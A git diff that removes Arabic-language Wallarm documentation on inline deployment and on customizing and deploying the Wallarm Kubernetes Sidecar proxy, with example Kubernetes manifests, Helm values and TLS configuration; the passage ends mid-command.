النشر الأخرى، مثل نشر [OOB](../oob/overview.md): - -* Wallarm يحجب الطلبات الخبيثة فورًا حيث يتم تحليل الحركة في الوقت الفعلي. -* تعمل جميع ميزات Wallarm، بما في ذلك [اكتشاف الAPI](../../api-discovery/overview.md) و[اكتشاف الثغرات](../../about-wallarm/detecting-vulnerabilities.md) بدون قيود حيث يمكن لـWallarm الوصول إلى كلا من الطلبات الواردة واستجابات الخادم. - -لتنفيذ نموذج مباشر، ستحتاج إلى تغيير مسار الحركة في بنيتك التحتية. بالإضافة إلى ذلك، ضع في اعتبارك بعناية [تخصيص الموارد](../../admin-en/configuration-guides/allocate-resources-for-node.md) لعقد Wallarm لضمان الخدمة دون انقطاع. - -عند نشر عقد Wallarm على السحاب العام مثل AWS أو GCP لبيئات الإنتاج، من الضروري استخدام مجموعة توسيع تلقائي مكونة بشكل صحيح للحصول على الأداء المثالي والقابلية للتوسع والمرونة (راجع المقالات لـ[AWS](../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md) أو [GCP](../../admin-en/installation-guides/google-cloud/autoscaling-overview.md)). - -## نماذج النشر وطرق النشر المدعومة - -عند الحديث عن نشر Wallarm بشكل مباشر، هناك نموذجان شائعان يجب النظر إليهما: نشر في وحدات حوسبة ونشر في Kubernetes. - -يمكنك اختيار نموذج النشر وطريقة النشر بناءً على خصوصيات بنيتك التحتية. إذا كنت بحاجة إلى مساعدة في اختيار النموذج وطريقة النشر المناسبة، يرجى الاتصال بفريق المبيعات لدينا [فريق المبيعات](mailto:sales@wallarm.com) وتزويدهم بمزيد من المعلومات حول بنيتك التحتية للحصول على إرشادات مخصصة. - -### تشغيل Wallarm على وحدات الحوسبة - -في هذا النموذج، تقوم بنشر Wallarm كجهاز افتراضي ضمن بنيتك التحتية. يمكن تثبيت الجهاز الافتراضي كـVM، وعاء، أو وحدة سحاب. - -عند نشر عقدة Wallarm، لديك المرونة لوضعها في مواقع مختلفة ضمن أعلى بنيتك الشبكية. ومع ذلك، النهج الموصى به هو وضع العقدة خلف موازن تحميل عام، أمام خدمات الخلفية الخاصة بك، أو موازن تحميل خاص، يقع عادة قبل الخدمات الخلفية. الرسم التوضيحي التالي يوضح تدفق حركة المرور النموذجي في هذا الإعداد: - -![مخطط الترشيح المباشر](../../images/waf-installation/inline/wallarm-inline-deployment-scheme.png) - -يمكن تصنيف موازنات الحمل إلى نوعين: L4 وL7. نوع موازن الحمل يحدد كيفية التعامل مع إزالة تشفير SSL، وهو أمر حاسم عند دمج Wallarm في بنيتك التحتية الحالية. - -* إذا كنت تستخدم موازن حمل L4، فعادةً ما يتم التعامل مع إزالة تشفير SSL بواسطة خادم ويب موضوع خلف موازن الحمل أو من خلال وسائل أخرى في بنيتك التحتية بدون عقدة Wallarm. ومع ذلك، عند نشر عقدة Wallarm، تحتاج إلى تكوين إزالة تشفير SSL على عقدة Wallarm. -* إذا كنت تستخدم موازن الحمل L7، فعادةً ما يتم التعامل مع إزالة التشفير SSL بواسطة موازن الحمل نفسه، وستتلقى عقدة Wallarm HTTP العادي. - -تقدم Wallarm التحف والحلول التالية لتشغيل Wallarm على وحدات الحوسبة: - -**خدمات أمازون الويب (AWS)** - -* [AMI](compute-instances/aws/aws-ami.md) -* [ECS](compute-instances/aws/aws-ecs.md) -* وحدة Terraform: - * [Proxy في AWS VPC](compute-instances/aws/terraform-module-for-aws-vpc.md) - * [Proxy لـAmazon API Gateway](compute-instances/aws/terraform-module-for-aws-api-gateway.md) - -**منصة Google Cloud** - -* [صورة الجهاز](compute-instances/gcp/machine-image.md) -* [GCE](compute-instances/gcp/gce.md) - -**Microsoft Azure** - -* [Azure Container Instances](compute-instances/azure/docker-image.md) - -**Alibaba Cloud** - -* [ECS](compute-instances/alibaba/docker-image.md) - -**صور Docker** - -* [مبني على NGINX](compute-instances/docker/nginx-based.md) -* [مبني على Envoy](compute-instances/docker/envoy-based.md) - -**حزم Linux** - -* [حزم فردية لـNGINX المستقر](compute-instances/linux/individual-packages-nginx-stable.md) -* [حزم فردية لـNGINX Plus](compute-instances/linux/individual-packages-nginx-plus.md) -* [حزم فردية لـNGINX المقدم من التوزيع](compute-instances/linux/individual-packages-nginx-distro.md) -* [المثبت الشامل](compute-instances/linux/all-in-one.md) - -### تشغيل Wallarm على Kubernetes - -إذا كنت تستخدم Kubernetes لإدارة الحاويات، يمكن نشر Wallarm كحل أصيل لـKubernetes. يدمج بسلاسة مع عناقيد Kubernetes، مستفيدًا من الميزات مثل وحدات التحكم في الدخول أو وحدات التحكم الجانبية. - -تقدم Wallarm التحف والحلول التالية لتشغيل Wallarm على Kubernetes: - -* [وحدة التحكم في الدخول NGINX](../../admin-en/installation-kubernetes-en.md) -* [وحدة التحكم الجانبية](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-ar/installation/kubernetes/sidecar-proxy/customization.md b/docs/latest-ar/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 71e73123ec..0000000000 --- a/docs/latest-ar/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,384 +0,0 @@ -# تخصيص Wallarm Sidecar - -توجه هذه المقالة لك حول تخصيص حل [Wallarm Kubernetes Sidecar](deployment.md) بطريقة آمنة وفعالة مع توفير أمثلة لبعض الحالات الشائعة للتخصيص. - -## المنطقة التكوينية - -حل Wallarm Sidecar يعتمد على مكونات Kubernetes القياسية ، وبالتالي فإن التكوين الخاص بالحل يشبه إلى حد كبير تكوين مكدس Kubernetes. يمكنك تكوين حل Wallarm Sidecar على مستوى عام عبر `values.yaml` وعلى أساس الحاوية المطبقة وفقًا للتعليمات البرمجية. - -### الإعدادات العامة - -تنطبق خيارات التكوين العام على جميع موارد الوحدة الجانبية التي تم إنشاؤها بواسطة المتحكم Wallarm وتتم تعيينها في [القيم الافتراضية لرسم حلم](https://github.com/wallarm/sidecar/blob/main/helm/values.yaml). يمكنك تجاوزها أثناء `helm install` أو `helm upgrade` عن طريق تقديم القيم الخاصة `values.yaml`. - -ليس لديها العديد من الخيارات التكوينية العامة المتاحة حد. يجب أن يُولى العناية عند تخصيص الحل لأنه يسمح بتغيير كامل لPod الناتج ووظيفة الحل غير الصحيحة كنتيجة. يرجى الاعتماد على توثيق Helm وKubernetes عند تغيير الإعدادات العالمية. - -[هنا قائمة بقيم الرسوم البيانية المحددة من Wallarm](helm-chart-for-wallarm.md) - -### إعدادات الحاويات الفردية - -تتيح الإعدادات لكل حاوية تخصيص سلوك الحل لتطبيقات معينة. - -تتم تعيين إعدادات الحاويات المطبقة على أساس الحاويات عبر التعليمات البرمجية لحاوية التطبيق. تتقدم التعليمات البرمجية على الإعدادات العامة. إذا تم تحديد نفس الخيار على مستوى عام وعبر العلامة التوضيحية ، سيتم تطبيق القيمة من التعليمة البرمجية. - -مجموعة التعليمات البرمجية المدعومة محدودة ، لكن التعليمات البرمجية `nginx-*-include` و`nginx-*-snippet` تتيح أي [تكوين مخصص لـ NGINX يمكن استخدامه من قبل الحل](#using-custom-nginx-configuration). - -[هنا قائمة بالتعليمات البرمجية المدعومة لكل حاوية](pod-annotations.md) - -## حالات استخدام التكوين - -كما ذكرنا أعلاه ، يمكنك تخصيص الحل بالعديد من الطرق لتناسب بنيتك التحتية ومتطلباتك المتعلقة بحل الأمان. لجعل الخيارات التخصيص الأكثر شيوعا أسهل في التنفيذ ، لقد وصفناها مع الأخذ بعين الاعتبار أفضل الممارسات ذات الصلة. - -### التجهيز الفردي والانقسام للحاويات - -توفر Wallarm خيارين لتجهيز حاويات Wallarm في حاوية: - -* التجهيز الفردي (بشكل افتراضي) -* تجهيز الانقسام - -![حاويات فردية ومنفصلة][single-split-containers-img] - -يمكنك تعيين خيارات تجهيز الحاوية على أساس عام ولكل حاوية: - -* على مستوى عام من خلال تعيين قيمة حلم الرسم البياني `config.injectionStrategy.schema` إلى `single` (الافتراضي) أو `split`. -* على أساس حاوية واحدة عن طريق تعيين التعليمة البرمجية المناسبة لحاوية التطبيق `sidecar.wallarm.io/sidecar-injection-schema` إلى `"single"` أو `"split"`. - -!!! info "وحدة Postanalytics" - يرجى ملاحظة أن حاوية وحدة الما بعد التحليل تعمل [على حدة](deployment.md#solution-architecture)، الخيارات التجهيز الموصوفة هي ذات الصلة فقط بالحاويات الأخرى. - -#### التجهيز الفردي (بشكل افتراضي) - -مع التجهيز الفردي لحاويات Wallarm ، ستعمل حاوية واحدة فقط في الحاوية ، وبصرف النظر عن الحاوية الابتدائية الاختيارية مع **iptables**. - -نتج عن ذلك هناك حاويتين تعملان: - -* `sidecar-init-iptables` هو الحاوية الابتدائية التي تعمل iptables. بشكل افتراضي ، تبدأ هذه الحاوية لكن يمكنك[تعطيله](#capturing-incoming-traffic-port-forwarding). -* `sidecar-proxy` يعمل خادم الوكيل NGINX مع وحدات Wallarm وبعض خدمات المساعدة. يتم تشغيل جميع هذه العمليات وإدارتها بواسطة [supervisord](http://supervisord.org/). - -#### التجهيز المنفصل - -مع التجهيز المنفصل لحاويات Wallarm ، ستعمل حاويتين إضافيتين في الحاوية ، وبصرف النظر عن حاويتين ابتدائيتين. - -تنقل هذا الخيار جميع خدمات المساعده من الحاوية `sidecar-proxy` وتبقى فقط خدمات NGINX لتبدأ بواسطة الحاوية. - -يوفر تجهيز الحاوية المنفصلة التحكم الأكثر دقة في الموارد التي يستهلكها NGINX وخدمات المساعدة. هذا هو الخيار الموصى به للتطبيقات الثقيلة حيث تكون الفرق مناسبة بين الفضاء الحر للمعالجة/الذاكرة/التخزين بين Wallarm والحاويات المساعدة ضرورية. - -نتج عن ذلك هناك أربع حاويات تعملان: - -* `sidecar-init-iptables` هو الحاوية الابتدائية التي تعمل iptables. بشكل افتراضي ، تبدأ هذه الحاوية لكن يمكنك [تعطيله](#capturing-incoming-traffic-port-forwarding). -* `sidecar-init-helper` هو الحاوية الابتدائية مع خدمات المساعدة المكلفة بربط العقدة Wallarm بـ Wallarm Cloud. -* `sidecar-proxy` هو الحاوية مع خدمات NGINX. -* `sidecar-helper` هي الحاوية مع بعض خدمات المساعدة الأخرى. - -### اكتشاف المنفذ الخاص بالتطبيق الحاوية تلقائياً - -يمكن تكوين منفذ التطبيق المحمي بطرق كثيرة. للتعامل مع الترافيك الوارد وتوجيهه بشكل صحيح ، يجب أن يكون جانب العربة Wallarm على بينة من المنفذ المتعدد التضافر الذي يقبل منفذ التطبيق الوارد. - -بشكل افتراضي ، يكتشف جانب العربة التحكم المنفذ تلقائيًا بالترتيب الأولوية التالي: - -1. إذا تم تعريف المنفذ عبر اعلام الحاوية `sidecar.wallarm.io/application-port`، يستخدم جانب العربة هذه القيمة. -1. إذا كان هناك منفذ معرف تحت ضبط الحاوية التطبيقية `name: http`، يستخدم جانب العربة هذه القيمة. -1. إذا لم يكن هناك منفذ معرف تحت ضبط `name: http`، يستخدم جانب العربة قيمة المنفذ التي وجدت أولاً في ضبط الحاوية التطبيقية. -1. إذا لم تكن هناك منافذ محددة في ضبط الحاوية التطبيقية ، يستخدم جانب العربة قيمة `config.nginx.applicationPort` من حلم Wallarm. - -إذا لم يكن اكتشاف منفذ الحاوية التطبيقية يعمل كما هو متوقع ، حدد المنفذ بوضوح باستخدام الخيار الأول أو الخيار الرابع. - -### التقاط الترافيك الوارد (توجيه المنفذ) - -بشكل افتراضي ، يقوم جانب العربة بتوجيه الترافيك كما يلي: - -1. يلتقط الترافيك الوارد القادم إلى عنوان IP المرتبط بالحاوية ومنفذ الحاوية التطبيقية. -1. يعيد توجيه هذا الترافيك إلى جانب العربة باستخدام ميزات iptables المدمجة. -1. يلتقط الجانب الترفيك الخبيث ويوجه الترافيك المشروع إلى الحاوية التطبيقية. - -يتم تنفيذ التقاط الترافيك الوارد باستخدام حاوية التهيئة التي تعمل iptables والتي تُعد أفضل الممارسات لتوجيه المنفذ التلقائي. تعمل هذه الحاوية كحاوية متميزة، مع القدرة `NET_ADMIN`. - -![توجيه المنافذ الافتراضي باستخدام iptables][port-forwarding-with-iptables-img] - -ومع ذلك ، هذا النهج غير متوافق مع شبكة الخدمة مثل Istio حيث يوجد لدى Istio بالفعل أداء التقاط الترافيك القائم على iptables. في هذه الحالة ، يمكنك تعطيل iptables وسوف يعمل توجيه المنفذ كما يلي: - -![توجيه المنفذ بدون iptables][port-forwarding-without-iptables-img] - -!!! info "الخادم التطبيقية غير المحمية" - إذا تم تعطيل iptables، فإن الخادم التطبيقية المكشوفة لن تكون محمية من قبل Wallarm. نتيجة لذلك ، قد يصل الترافيك "من الشرق إلى الغرب" الخبيث إلى الخادم التطبيقية إذا كان عنوان IP - التطبيق والمنفذ معروف للمهاجم. - - تعتبر الترافيك القادمة من الشرق الغرب هي الترافيك المتدفق حول مجموعة Kubernetes (مثل الخدمة التي تُبذل للخدمة). - -يمكنك تغيير السلوك الافتراضي على النحو التالي: - -1. تعطيل iptables بأحد الطرق: - - * على مستوى عام بتعيين قيمة حلم الرسم البياني `config.injectionStrategy.iptablesEnable` إلى `"false"` - * على أساس حاوية باستخدام التعليمات البرمجية الموجودة في حاوية `sidecar.wallarm.io/sidecar-injection-iptables-enable` إلى `"false"` -2. حدث إعداد `spec.ports.targetPort` في بيانك لخدمة لتشير إلى المنفذ `proxy`. - - إذا تم تعطيل التقاط الترافيك القائم على iptables وستُنشر الحاوية الجانبية Wallarm منفذ باسم `proxy`. لكي يأتي الترافيك الوارد من خدمة Kubernetes إلى منفذ `proxy`، يجب أن يشير إعداد `spec.ports.targetPort` في بيان الخدمة إلى هذا المنفذ: - -```yaml hl_lines="16-17 34" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/sidecar-injection-iptables-enable: "false" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 ---- -apiVersion: v1 -kind: Service -metadata: - name: myapp-svc - namespace: default -spec: - ports: - - port: 80 - targetPort: proxy - protocol: TCP - name: http - selector: - app: myapp -``` - -### قطع SSL/TLS - -بشكل افتراضي ، الحل الوحدة الجانبية يقبل فقط الترافيك HTTP ويعيد توجيه الترافيك HTTP العادي لحاويات التطبيقات. يفترض أن يتم قطع SSL/TLS بواسطة مكون التحتية الذي يقع قبل الحل الجانب (مثل Ingress / Application Gateway) ، مما يتيح للحل الجانب تقديم HTTP عادي. - -ومع ذلك ، قد يكون هناك حالات في حيث لا يدعم التحتية الحالي قطع SSL/TLS. في هذه الحالات يمكنك تمكين قطع SSL/TLS على مستوى جانب العربة Wallarm. يتم دعم هذه الميزة بدءًا من خريطة حلم الرسم 4.6.1. - -!!! warning "الحل الجانب يدعم إما معالجة الترافيك SSL أو HTTP العادي" - حل Wallarm Sidecar يدعم إما استثمار SSL/TLS أو معالجة الترافيك HTTP العادي. تمكين قطع SSL/TLS يعني أن الحل الجانب لن يعالج الترافيك HTTP العادي ، بينما سيؤدي تعطيل قطع SSL/TLS إلى معالجة الترافيك HTTPS فقط. - -لتمكين قطع SSL/TLS: - -1. احصل على شهادة الخادم (المفتاح العام) والمفتاح الخاص المرتبط بالخادم الذي سوف تقوم الوحدة الجانبية بقطع SSL/TLS. -1. أنشئ في فضاء التطبيق حاوية [سرية TLS](https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets) تحتوي على شهادة الخادم والمفتاح الخاص. -1. في ملف `values.yaml`، أضف قسم `config.profiles` لتركيب السري. تعرض الأمثلة أدناه التكوينات المتعددة لتركيب الشهادة. - - قم بتخصيص الرمز على أساس التعليقات لتلبية احتياجاتك. أزل أي تكوينات تركيب غير ضرورية إذا كنت تحتاج فقط إلى شهادة واحدة. - - ```yaml - config: - wallarm: - api: - token: "" - host: "us1.api.wallarm.com" # أو سلسلة فارغة إذا كنت تستخدم السحابة الأوروبية - # إعدادات Wallarm الأخرى https://docs.wallarm.com/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm/ - profiles: - tls-profile: # حدد أي اسم للملف الشخصي TLS هنا - sidecar: - volumeMounts: - - name: nginx-certs-example-com # اسم المجلد الذي يحتوي على مفاتيح example.com - mountPath: /etc/nginx/certs/example.com # مسار لتثبيت مفاتيح example.com في الحاوية - readOnly: true - - name: nginx-certs-example-io # اسم المجلد الذي يحتوي على مفاتيح example.io - mountPath: /etc/nginx/certs/example.io # مسار لتثبيت مفاتيح example.io في الحاوية - readOnly: true - volumes: - - name: nginx-certs-example-com # اسم المجلد الذي يحتوي على مفاتيح example.com - secret: - secretName: example-com-certs # اسم السر الذي تم إنشاؤه لـ example.com، ويحتوي على المفاتيح العامة والخاصة. - - name: nginx-certs-example-io # اسم المجلد الذي يحتوي على مفاتيح example.io - secret: - secretName: example-io-certs # اسم السر الذي تم إنشاؤه لـ example.io، ويحتوي على المفاتيح العامة والخاصة - nginx: - # تكوين وحدة SSL NGINX خاص بإجراءات قطع TLS/SSL. - # أرجع إلى https://nginx.org/en/docs/http/ngx_http_ssl_module.html. - # هذا التكوين مطلوب للوحدة الجانبية لمعالجة قطع الترافيك. - servers: - - listen: "ssl http2" - include: - - "server_name example.com www.example.com" - - "ssl_protocols TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.com/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.com/tls.key" - - "ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384" - - "ssl_conf_command Ciphersuites TLS_AES_128_GCM_SHA256:TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256" - - listen: "ssl" - include: - - "server_name example.io www.example.io" - - "ssl_protocols TLSv1.2 TLSv1.3" - - "ssl_certificate /etc/nginx/certs/example.io/tls.crt" - - "ssl_certificate_key /etc/nginx/certs/example.io/tls.key" - ``` - 1. ضع التغييرات من `values.yaml` على الحل الجانب باستخدام الأمر التالي: - - ```bash - helm upgrade wallarm/wallarm-sidecar --wait -n wallarm-sidecar -f values.yaml - ``` -1. قم بتطبيق التعليمة البرمجية `sidecar.wallarm.io/profile: tls-profile` على حاوية التطبيق. -1. بمجرد تطبيق التكوين ، يمكنك اختبار الحل باتباع الخطوات الموصوفة [هنا](deployment.md#step-4-test-the-wallarm-sidecar-proxy-operation)، مع استبدال بروتوكول HTTP بـ HTTPS. - -سوف تقبل الحل الجانبية الترافيك TLS/SSL، تعيش ذلك، وتوجه الترافيك العادي HTTP إلى حاوية التطبيق. - -### تمكين وحدات NGINX الإضافية - -يتم توزيع صورة Docker لـ جانب العربة Wallarm مع وحدات NGINX الاضافية الاتية معطلة بشكل افتراضي: - -* [ngx_http_auth_digest_module.so](https://github.com/atomx/nginx-http-auth-digest) -* [ngx_http_brotli_filter_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_brotli_static_module.so](https://github.com/google/ngx_brotli) -* [ngx_http_geoip2_module.so](https://github.com/leev/ngx_http_geoip2_module) -* [ngx_http_influxdb_module.so](https://github.com/influxdata/nginx-influxdb-module) -* [ngx_http_modsecurity_module.so](https://github.com/SpiderLabs/ModSecurity) -* [ngx_http_opentracing_module.so](https://github.com/opentracing-contrib/nginx-opentracing) - -يمكنك تمكين الوحدات الإضافية فقط على أساس حاوية عن طريق تعيين التعليمة البرمجية للحاوية `sidecar.wallarm.io/nginx-extra-modules`. - -نموذج قيمة التعليمة البرمجية هو مصفوفة. مثال على تمكين الوحدات الإضافية: - -```yaml hl_lines="16-17" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/nginx-extra-modules: "['ngx_http_brotli_filter_module.so','ngx_http_brotli_static_module.so', 'ngx_http_opentracing_module.so']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### استخدام تكوين NGINX المخصص - -إذا لم يكن هناك [التعليمات البرمجية للحاوية](pod-annotations.md) مكرسة لبعض الإعدادات NGINX، يمكن تحديدها عبر **القصاصات** و**يتضمن** لكل حاوية. - -#### قطعة - -القصاصات هي طريقة مريحة لإضافة تغييرات في سطر واحد إلى التكوين NGINX. للتغييرات الأكثر تعقيدً، يعد الخيار [يضمن](#include) الخيار الموصى به. - -لتحديد إعدادات مخصصة عبر القصاصات ، استخدم التعليمات البرمجية الخاصة بكل حاوية التالية: - -| قسم التكوين NGINX | التعليمة البرمجية | -|------------------------- |-----------------------------| -| http | `sidecar.wallarm.io/nginx-http-snippet` | -| server | `sidecar.wallarm.io/nginx-server-snippet` | -| location | `sidecar.wallarm.io/nginx-location-snippet` | - -مثال على التعليمة البرمجية تغيير قيمة المديرية NGINX [`disable_acl`][disable-acl-directive-docs]: - -```yaml hl_lines="18" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/wallarm-mode: block - sidecar.wallarm.io/nginx-location-snippet: "disable_acl on" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -لتحديد أكثر من توجيه واحد ، استخدم الرمز `;`، على سبيل المثال : - -```yaml -sidecar.wallarm.io/nginx-location-snippet: "disable_acl on;wallarm_timeslice 10" -``` - -#### تضمين - -لاجراء إلتصاق ملف تكوين NGINX إضافي إلى جانب العربة، يمكنك [إنشاء ConfigMap](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) أو [Secret](https://kubernetes.io/docs/concepts/configuration/secret/#creating-a-secret) من هذا الملف واستخدم المورد المنشأ في الحاوية. - -بمجرد أن تم إنشاء المورد ConfigMap أو Secret، يمكنك تثبيته في الحاوية عن طريق [Volume و VolumeMounts](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap) باستخدام التعليمات البرمجية المتعلقة بكل حاوية التالية: - -| العنصر | التعليمة البرمجية | -|------------|-------------------------| -| Volumes | `sidecar.wallarm.io/proxy-extra-volumes` | -| مثبت الأقراص | `sidecar.wallarm.io/proxy-extra-volume-mounts` | - -بمجرد أن تم تثبيت المورد في الحاوية ، حدد السياق NGINX لإضافة التكوين بتمرير المسار إلى الملف المثبت في التعليمة البرمجية المقابلة: - -| قسم تكوين NGINX | التعليمة البرمجية | -|------------------------- | --------------------- | -| http | `sidecar.wallarm.io/nginx-http-include` | -| server | `sidecar.wallarm.io/nginx-server-include` | -| location | `sidecar.wallarm.io/nginx-location-include` | - -أدناه مثال يضمن ملف التكوين المثبت على مستوى `http` في تكوين NGINX. يفترض هذا المثال أن تم إنشاء ConfigMap `nginx-http-include-cm` مسبقًا ويحتوي على توجيهات تكوين NGINX صالحة. - -```yaml hl_lines="16-19" -apiVersion: apps/v1 -kind: Deployment -metadata: - name: myapp - namespace: default -spec: - replicas: 1 - selector: - matchLabels: - app: myapp - template: - metadata: - labels: - app: myapp - wallarm-sidecar: enabled - annotations: - sidecar.wallarm.io/proxy-extra-volumes: '[{"name": "nginx-http-extra-config", "configMap": {"name": "nginx-http-include-cm"}}]' - sidecar.wallarm.io/proxy-extra-volume-mounts: '[{"name": "nginx-http-extra-config", "mountPath": "/nginx_include/http.conf", "subPath": "http.conf"}]' - sidecar.wallarm.io/nginx-http-include: "['/nginx_include/http.conf']" - spec: - containers: - - name: application - image: kennethreitz/httpbin - ports: - - name: http - containerPort: 80 -``` - -### تكوين Wallarm الميزات - -بالإضافة إلى الإعدادات العامة للحل المدرجة ، ننصحك أيضًا بتعلم [أفضل الممارسات للوقاية من الهجمات مع Wallarm][wallarm-attack-prevention-best-practices-docs]. - -يتم اجراء هذا التكوين عبر التعليمات البرمجية(pod-annotations.md) وواجهة المستخدم الخاصة بـ Wallarm Console. - -## تكوينات أخرى عبر التعليمات البرمجية - -بالإضافة لحالة الاستخدام التكوين المدرجة يمكنك التحكم في حل Wallarm Sidecar لحاويات المطبقات باستخدام عديد الاعلام البرمجية الأخرى. - -[هنا قائمة بالتعليمات البرمجية لكل حاوية](pod-annotations.md) diff --git a/docs/latest-ar/installation/kubernetes/sidecar-proxy/deployment.md b/docs/latest-ar/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index d656123b01..0000000000 --- a/docs/latest-ar/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,204 +0,0 @@ -# نشر Wallarm Sidecar - -لتأمين التطبيق المنشور كـ Pod في Kubernetes cluster، يمكنك تشغيل العقدة القائمة على NGINX لـ Wallarm أمام التطبيق كـ sidecar controller. سيقوم Wallarm sidecar controller بترشيح حركة الشبكة الواردة إلى Pod التطبيق عن طريق السماح فقط للطلبات المشروعة والتخفيف من الخبيثة. - -**المزايا الرئيسية** لحل Wallarm Sidecar: - -* يبسط حماية الميكرو سيرفيس المتفرقة ونسخها والشرائح عن طريق تقديم تنسيق النشر المشابه للتطبيقات -* متوافق بشكل كامل مع أي Ingress controller -* يعمل بثبات تحت الأحمال العالية التي تكون شائعة عادة لنهج service mesh -* يتطلب التكوين الأدنى للخدمة لتأمين تطبيقاتك؛ فقط أضف بعض التعليمات التوضيحية والتسميات لـ Pod التطبيق لحمايته -* يدعم وضعين لنشر الحاوية Wallarm: للأحمال المتوسطة مع خدمات Wallarm تعمل في حاوية واحدة وللأحمال العالية مع تقسيم خدمات Wallarm إلى عدة حاويات -* يقدم كيان مخصص لـ postanalytics module الذي هو خلفية تحليلات البيانات المحلية لحل Wallarm sidecar الذي يستهلك معظم الذاكرة - -!!! info "إذا كنت تستخدم حل Wallarm Sidecar السابق" - إذا كنت تستخدم الإصدار السابق من حل Wallarm Sidecar، نوصي بالانتقال إلى الإصدار الجديد. بالإصدار الجديد، قمنا بتحديث مجموعة حلولنا الفرعية للاستفادة من قدرات Kubernetes الجديدة وثروة من ردود العملاء. الحل الجديد لا يتطلب تغييرات كبيرة في Kubernetes manifest، لحماية التطبيق، فقط قم بنشر الرسم البياني وأضف التسميات والتعليمات التوضيحية إلى الجزء الرئيسي. - - للحصول على المساعدة في الانتقال إلى حل Wallarm Sidecar v2.0، يرجى الاتصال بـ [دعم فني Wallarm](mailto:support@wallarm.com). - -## حالات الاستخدام - -من بين جميع [خيارات نشر Wallarm المدعومة][deployment-platform-docs]، يعتبر هذا الحل الأكثر توصية للحالات الاستخدام التالية: - -* أنت تبحث عن حل الأمان ليتم نشره على البنية التحتية مع Ingress controller الموجودة بالفعل (مثلاً AWS ALB Ingress Controller) الذي يحول دون نشر [Wallarm NGINX-based][nginx-ing-controller-docs] أو [Wallarm Kong-based Ingress controller][kong-ing-controller-docs] -* بيئة الثقة الصفرية التي تتطلب أن تكون كل ميكرو سيرفيس (بما في ذلك واجهات البرمجة الداخلية) محمية بحل الأمان - -## تدفق حركة الشبكة - -تدفق حركة الشبكة مع Wallarm Sidecar: - -![تدفق حركة الشبكة مع Wallarm Sidecar][traffic-flow-with-wallarm-sidecar-img] - -## هندسة الحل - -تم ترتيب حل Wallarm Sidecar بواسطة أوبجكتات Deployment التالية: - -* **Sidecar controller** (`wallarm-sidecar-controller`) هو [mutating admission webhook](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/#admission-webhooks) الذي يحقن موارد Wallarm sidecar في Pod مع تكوينه على أساس قيم Helm chart وتعليمات التوضيح للغرفة والاتصال بـ Wallarm Cloud. - - في المرة التي يبدأ فيها Node جديد بـ `wallarm-sidecar: enabled` في Kubernetes، يقوم الكنترولر تلقائيًا بحقن حاوية إضافية ترشح حركة المرور الواردة إلى الغرفة. -* **Postanalytics module** (`wallarm-sidecar-postanalytics`) هو بيانات التحليلات المحلية لحل Wallarm sidecar. يستخدم الوحدة تخزين Tarantool في الذاكرة ومجموعة من الحاويات المساعدة (مثل collectd، خدمات تصدير الهجوم). - -![اوبجكتات نشر Wallarm][sidecar-deployment-objects-img] - -Wallarm Sidecar لديه 2 مراحل معيارية في دورة حياته: - -1. في المرحلة **الأولية**، يقوم الكنترولر بحقن موارد Wallarm sidecar في Pod مع تكوينه بناءً على قيم Helm chart وتعليمات توضيح الغرفة والاتصال بـ Wallarm Cloud. -1. في مرحلة **التشغيل**، يحلل الحل ويقوم بتحويل طلبات تقديم الخدمات عن طريق تنفيذ postanalytics module. - -## المتطلبات - ---8<-- "../include/waf/installation/sidecar-proxy-reqs.md" - -## النشر - -لنشر حل Wallarm Sidecar: - -1. قم بتوليد رمز العقدة المرشح. -1. اعمل على نشر رسم البياني Helm لـ Wallarm. -1. قم بارتباط Wallarm Sidecar بـ Pod التطبيق. -1. اختبر تشغيل Wallarm Sidecar. - -### الخطوة 1: توليد رمز العقدة المرشح - -قم بتوليد رمز العقدة المرشح من [النوع المناسب][node-token-types] لتوصيل الغرف المكملة إلى Wallarm Cloud: - -=== "API token" - 1. افتح Wallarm Console → **الإعدادات** → **API tokens** في [السحابة الأمريكية](https://us1.my.wallarm.com/settings/api-tokens) أو [EU Cloud](https://my.wallarm.com/settings/api-tokens). - 1. ابحث أو أنشئ رمز API بدور المصدر `Deploy`. - 1. انسخ هذا الرمز. -=== "رمز العقدة" - 1. افتح Wallarm Console → **عقدة Nodes** في كل من [السحابة الأمريكية](https://us1.my.wallarm.com/nodes) أو [EU Cloud](https://my.wallarm.com/nodes). - 1. أنشئ عقدة مرشحة بنوع **Wallarm node** وانسخ الرمز المولد. - - ![إنشاء Wallarm node][create-wallarm-node-img] - -### الخطوة 2: نشر الرسم البياني Helm لـ Wallarm - -1. أضف [مستودع الرسم البياني Wallarm](https://charts.wallarm.com/): - ``` - helm repo add wallarm 